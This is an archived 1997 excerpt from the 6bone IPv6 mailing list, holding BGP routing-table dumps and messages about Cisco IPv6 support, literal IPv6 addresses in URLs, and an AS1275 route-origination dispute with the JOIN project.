	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F09:F300:9842:4C00:4C::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F09:F400:CF57:2E00::0/64
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
  5F0B:1700:C10A:4200::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F0B:2900::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F0B:3700::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F0B:4F00:C1E9:700::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F0D:500:C100::0/64
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
  5F0D:E900:9EA5:800:8::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  5F00:6D00:0:E:8::2 FE80::C5A:CB51:A Tunnel7 3582 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F15:A300::4:0/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F1A:6D00:C269:A600::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F1B:5000::1:0:0:0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F1B:5000::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F1D:800:D009:200::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F21:EA00:C20C:E000:0:60::0/96
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F28:1D00:C171:3A00::0/64
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
  5FFF:FF00:C0A8:C00::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  0::0/0
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1849 5539 4555 1225 1275 ?
	 *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 5539 4555 1225 1275 ?
6bone-router>

From majordom@ISI.EDU  Mon Oct 20 00:07:02 1997
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Date: Sun, 19 Oct 1997 21:07:02 +0300 (EET DST)
From: Martynas Buozis <martynas@vingis.sc-uni.ktu.lt>
Reply-To: Martynas Buozis <martynas@vingis.sc-uni.ktu.lt>
To: 6bone@ISI.EDU
Subject: Some questions.
In-Reply-To: <v03110710b06a8feaa3d6@[171.69.199.124]>
Message-Id: <Pine.GSO.3.95.971019205104.25688A-100000@vingis.sc-uni.ktu.lt>
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Dear sirs,

I have some questions and hope, that you will help me.

1. Some time ago, as I remember, on the ticl.co.uk IPv6 Web Page
http://www.ipv6.ticl.co.uk/ I found a possibility to order The IPv6
Resource Kit on CDROM. But when I decided to subscribe it I found, that
this page isn't reachable now. I was trying for one week to get on it. 
Maybe someone can give me another address of that company - I want order
CD's about IPv6 and security. Maybe I am looking on wrong address or
company ? 

2. I wrote several times to Mr. Martin McNealis form CISCO (mail address
mmcnealis@cisco.com) asking for help about implementing IPv6 on CISCO
routers, but two months there are no answer from him. Maybe you can advice
someone who can help me with IPv6 on CISCO routers ?


With best regards -
Martynas Buozis
Litnet NOC



From majordom@ISI.EDU  Mon Oct 20 09:49:13 1997
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Date: Mon, 20 Oct 1997 08:49:13 +0100
To: Martynas Buozis <martynas@vingis.sc-uni.ktu.lt>, 6bone@ISI.EDU
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: Some questions.
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At 09:07 PM 10/19/97 +0300, Martynas Buozis wrote:

>Dear sirs,

>

>I have some questions and hope, that you will help me.

>

>1. Some time ago, as I remember, on the ticl.co.uk IPv6 Web Page

>http://www.ipv6.ticl.co.uk/ I found a possibility to order The IPv6

>Resource Kit on CDROM. But when I decided to subscribe it I found, that

>this page isn't reachable now. I was trying for one week to get on it. 

>Maybe someone can give me another address of that company - I want order

>CD's about IPv6 and security. Maybe I am looking on wrong address or

>company ? 

>

>2. I wrote several times to Mr. Martin McNealis form CISCO (mail address

>mmcnealis@cisco.com) asking for help about implementing IPv6 on CISCO

>routers, but two months there are no answer from him. Maybe you can advice

>someone who can help me with IPv6 on CISCO routers ?

>


Join the crowd ...

I have also tried triggering him several times.

Although I have verbally been promised to get some Cisco ip6 images

I have had no responses at all from three attempts to mmcnealis@cisco.com

and a Cc: to the manager of Cisco IOS product Market also resulted in 

the sound of silence.

It looks like Cisco has a selective market for ip6 ... :-(

( maybe this one triggers some attention...)


Aad


>

>

>

>

<bigger>quote: "If a trainstation is where the train stops, a

            busstation is where the bus stops, then a

            workstation is where......."		

==================================================================

// Aad van der Zanden                      	| POSTAL ADDRESS:	

// Communications Systems Division         	|			

// NATO C3 Agency                          	| NATO C3 Agency	

// Email : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		

</bigger>// Phone  : +31 (0)70 3142440                    	| 2501 CD  The
Hague	

// Fax    : +31 (0)70 3142176                     	|The Netherlands	

============================================================================

 NEW NEW   	H320 compliant video phone #31 070 3148107   NEW NEW NEW

============================================================================

From majordom@ISI.EDU  Mon Oct 20 10:25:51 1997
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Date: Mon, 20 Oct 1997 09:25:51 +0100
Message-Id: <9710200825.AA15774@hursley.ibm.com>
From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: Literal addresses in URLs - 'splain to me
To: 6bone@ISI.EDU
In-Reply-To: <9710181537.AA14668@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Oct 18, 97 11:37:26 am
Reply-To: brian@hursley.ibm.com
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Right, this is *exactly* what we have to decide about.
Are there any operational situations where fixing DNS *requires*
web access?

  Brian

>- bound@zk3.dec.com said:
> 
> 
> >However the fact is that when there is a catastrophic operational
> >problem with DNS, there can be cases where the *only* way to
> >repair the network is by using literal addresses, either to
> >send mail to another site, or to access remote systems -
> >and URLs are one of the ways we access remote systems these days.
> >So while I stick to the deprecation of literal addresses that is
> >in RFC 1900, I regretfully feel that we need them as emergency backup.
> 
> A valid point.  But I don't see repairing DNS using URLs.  No one is
> saying you can't use IPv6 addresses in this input.  Just we don't need
> them for URLs.  They work fine now with FTP, Telnet, etc..
> 
> /jim
> 


From majordom@ISI.EDU  Mon Oct 20 15:55:48 1997
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Subject: Re: Literal addresses in URLs - 'splain to me
To: brian@hursley.ibm.com
Date: 	Mon, 20 Oct 1997 13:55:48 +0200 (Funky)
From: "Matthias Urlichs" <smurf@noris.de>
Cc: 6bone@ISI.EDU
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Brian:
>Right, this is *exactly* what we have to decide about.
>Are there any operational situations where fixing DNS *requires*
>web access?

Some boxes (firewalls, for instance) are administered by a WWW interface.
They may either not have a Telnet interface, or the administrator (or the
manual...) is sufficiently clueless that it may not be possible for them to
fix the DNS without a browser.

On the other hand, if we include the ability to use URLs with IPv6
addresses, then the terminally clueless (including some search engines)
will no doubt use them (instead of domain names) internally. We already see
that with IPv4, and IMHO it's a problem. It's going to be more of a problem
with IPv6.

On balance ... I don't know yet.  :-/

-- 
Matthias Urlichs
noris network GmbH

From majordom@ISI.EDU  Mon Oct 20 17:43:14 1997
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From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU, ipv6@ibr.cs.tu-bs.de, cossmann@heidelbg.ibm.com,
        weise@deteberkom.de, eichhorn@wislan1.med.uni-goettingen.de,
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        ipv6@prz.tu-berlin.de, ipv6@ibr.cs.tu-bs.de,
        Guy Davies <guyd@uk.uu.net>, Herluf Hansen <hha@tbit.dk>
Subject: Re: as1275
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Hi Pedro,

On Sun, 19 Oct 1997, Pedro Marques wrote:

> 
> I've configured our router to reject all the BGP routes sourced by AS 1275
> as they are injecting in tons of doubtable information, including a default
> route.
> 
> Internic says that as1275 is registered as:
> 
> c/o University of Dortmund (ASN-UNIDO)
>    GERMANY
> 
>    Autonomous System Name: UNIDO-AS
>    Autonomous System Block: 1270 - 1275
> 
> But there is absolutly no reference to the university of dortmund in the
> 6bone registry (which is one of the reasons this mail is not being sent
> privatly). Intead i find about ten sites (CCed in the message) all which claim
> to be in AS 1275. 

AS1275 is registered (in the RIPE db) as "DFN-IP service and DFN customer
networks". We use it for our IPv6 JOIN project (it is an DFN project).

>                   What i don't really understand is why, if all the sites
> share the same AS, aren't they all under the same prefix which can be cleanly
> annouced. And if there is a good reason why this can't be done then perhaps
> they shoulnd't be in the same AS...

All IPv6 sites using AS1275 should have the same prefixes 3ffe:400::/24 or
5f04:fb00::/32. In general these are German sites like Universities.

For these two prefixes we do BGP route aggregation, so i wonder if you see 
more and/or longer prefixes *originated* at JOIN.

> 
> Can you folks please try to sort out this mess ...
> 
> Please don't inject prefixes which you don't own or for which the owners
> have not explicitly asked you to originate them (there are plenty of prefixes
> bellow that belong to US sites). And *please* don't inject a default route
> into BGP.

These days i discussed similar problems with Guy (UUNET-UK). He also received
a lot of routes which should be originated by JOIN according to his routing 
table. Now this seems to be the case also at your site :-(

When i examine our routing table i find for all the routes (which you claim
as "tons of doubtable information"), a source from which our router gets them.
I appended to this mail our complete routing table for all 3ffe-prefixes.

I wonder why your routing table mentions AS1275 as originator of all these
routes. 

What does "i" (IGP) as origin code mean in your routing table? 
Does it mean that these routes are learned via RIPng at our site?
I believe there should be "e"'s (EGP), because we got these routes via
BGP from other sites.
 
Some of your routes specify "?" (incomplete) as source of (our?) 
information: when i check these routes i get "BGP-INCOMPLETE" in our 
routing table. That means, that this route is learned via BGP from our router, 
but has not a complete BGP path to the originator of the prefix - e.g. there 
is some RIPng or static routing inbetween. 

I can see no reason (or configuration line) why we should originate these
routes - in general we get them via BGP from our BGP peers (see our routing 
table).

I did not find a default route in our table. Maybe this route was visible
at the time you examined your table - but i am quite sure that we are *not*
the originator of a default route (hopefully i am right ;-)

For your information we still have 6bone tunnels to core backbone sites 
running RIPng (BAY) and IDRPv6 (UNI-C and IFB) as routing protocols.
But to all these sites i configured strong in- and out-filters, so normally
there should be no problems with that. On our BGP4+ tunnels i configured
no filters (except the aggregation of our two prefixes, of course).

Hope this helps a little bit,
all the best

- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------

>Thanks,
>   Pedro.
> 
> --------------------------------------------------------------------------
> 6bone-router>sh ipv6 bgp reg 1275$
> BGP IPv6 table version is 745545, local router id is 192.31.7.217
> Status codes: * - valid, > - best, i - internal
> Origin codes: i - IGP, e - EGP, ? - incomplete
> 
>   3FFE::0/24
> 	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:200::0/24
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
>   3FFE:400::0/24
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:600:8000::4/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   3FFE:700:20:1::14/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   3FFE:7C0:40::0/48
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:800::0/32
> 	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
>   3FFE:A00::0/24
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   3FFE:F00::0/24
> 	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1001:1:FFFF::0/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   3FFE:1100:0:400::2C/126
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
>   3FFE:1100:0:C00::4/126
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
>   3FFE:1100:0:C0C::0/64
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
>   3FFE:1100:0:1420::0/64
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
>   3FFE:1108:800::0/40
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
>   3FFE:1300::0/24
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1500::FFFE:0:0:14/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
>   3FFE:1500::FFFE:0:0:1C/126
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
>   3FFE:1500::FFFE:0:1EA1:0/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1C00:0:60::0/64
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   3FFE:1C00::0/24
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   3FFE:1D04::0/124
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1D04:1::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1DEC::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   3FFE:1E00::0/24
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   3FFE:2500::0/25
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F00:100:807F::0/48
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F00:C00:807A:4000::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F00:1000:0:F:F::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F00:6D00:0:E:8::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F00:80DF:0:E:9::0/112
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F00:E000:C19C:1300::0/64
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
>   5F00:ED00::0/40
